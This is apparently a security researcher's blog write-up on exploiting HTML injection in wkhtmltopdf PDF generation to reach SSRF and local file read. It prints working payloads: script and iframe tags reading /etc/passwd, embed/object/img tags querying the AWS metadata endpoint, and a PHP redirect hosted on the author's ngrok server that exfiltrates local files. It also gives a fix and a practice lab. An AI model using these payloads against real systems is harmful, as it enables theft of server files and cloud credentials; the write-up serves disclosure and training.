Greetings everyone, this blog post is about the vulnerability that I have identified in Wkhtmltopdf
gem, which was allowing users to inject HTML in the pdf files, and after doing further research, I was able to identify that the parser's functionality was vulnerable to internal SSRF attack, which further allowed me to read server's local file.
Injecting the simple HTML payload the code section oft the application "><h1>XSS</h1>
Loading the PDF file show's the injected HTML has been successfully executed in our PDF file.
So as you can see HTML injection is happening in our pdf file and at this time as one's my excitement level can be high, Since we know in these kinds of cases there are high chances to find internal SSRF or read local files from the server.
So the next thing I did is to send an XHR request using file:///,As mentioned in the blog post by noob ninja LFI to XSS.
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script
But nothing happened. I realized that the script was blocked and the XHR request got failed. Okay so, the next thing that I have tried is to send the request to my server and checked the response headers. I used simple payload "><img src="[http://406e7772.ngrok.io](http://406e7772.ngrok.io/)">
and I was presented with the User-agent
header as User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) wkhtmltopdf Safari/534.34
.
I also tried to extract passwd file using the payload "><iframe src="file:///etc/passwd" height="500" width="500">
it didn't worked as well, got a blank pdf file.
From the user-agent, wkhtmltopdf
sounds suspicious to me, and after doing a bit of googling I was able to find that wkhtmltopdf
is vulnerable to SSRF Attacks. Issue link.
It was time to try to call AWS metadata API's and that's what I did. So I used an iframe to request internal AWS API's
"><iframe src="http://169.254.169.254/latest/dynamic/instance-identity/" height="500" width="500">
and I was presented with meta data response. I was able to fetch instance identity.
document
signature
pkcs7
rsa2048
So at this point it was a confirmed internal SSRF.
I didn't want to stop there, as I wanted to exploit it further and read the local files of the server. My hunger just to get read local files so I can sleep peacefully.
As mentioned in the above blog post, wkhtmltopdf
is vulnerable to SSRF attack and it's through the location header.
<?php
header('location:http://127.0.0.1');
?>
So, what I did, create a php file with the following content:
<?php header('location:file://'.$_REQUEST['url']); ?>
Hosted this PHP file on my ngrok server and then I sent the payload as:
"><iframe height="2000" width="800" src=http://c723862e.ngrok.io/test.php?x=%2fetc%2fpasswd></iframe>
and i was presented with the PDF file
Yayy!! I was able to read the local file of the server. as I know more about the organization and how they store their application internally I tried to fetch their database.yml file in path /config/database.yml
but it did not succeed. Later, I figured it out that they had their database file in /var/company_name/config/database.yml
and I was able to read their DB file as well.
Payloads
In case script and iframe are blocked you can use these payloads:
embed
object
img
And you can further craft your payload as:
"><embed src="http://169.254.169.254/latest/dynamic/instance-identity/" width=”200″ height=”200" />
"><object data="http://169.254.169.254/latest/dynamic/instance-identity/" width="400" height="300" type="text/html"></object>
"><img src='http://169.254.169.254/latest/dynamic/instance-identity/' height="2000" width="800">
How to fix this SSRF?
To fix this vulnerability use -disable-local-file-access
while converting HTML files into PDF.
if you are using wicked_pdf then introduce the disable_local_file_access
parameter in parse_others
function. it should look like this:
r += make_options(options, [:book,
:other_parameters
:disable_smart_shrinking,
:disable_local_file_access,
:no_stop_slow_scripts], '', :boolean)
Re-creating SSRF locally!
So, I did coded this for my friend so he can practice this bug type.
to reproduce this issue first you need to install wkhtmltopdf in your machine.
Installation for Debian:
$ apt-get install libfontenc1 xfonts-75dpi xfonts-base xfonts-encodings xfonts-utils openssl build-essential libssl-dev libxrender-dev git-core libx11-dev libxext-dev libfontconfig1-dev libfreetype6-dev fontconfig -y
$ wget https://github.com/wkhtmltopdf/wkhtmltopdf/releases/download/0.12.5/wkhtmltox_0.12.5-1.bionic_amd64.deb
$ dpkg -i wkhtmltox_0.12.5-1.bionic_amd64.deb
$ apt --fix-broken install
Installation for Kali Linux:
$ sudo apt-get install wkhtmltopdf
Host these two files on your apache2 server and now you can go to the URL [http://127.0.0.1/ss2.php?xss="><h1>XSS</h1>](http://127.0.0.1/ss2.php?xss="><h1>XSS</h1>)
once you hit this URL, a test.html file will be created with your supplied input and a PDF file will be generated.
You are good to go with your SSRF to LFI lab and practice it further! ;)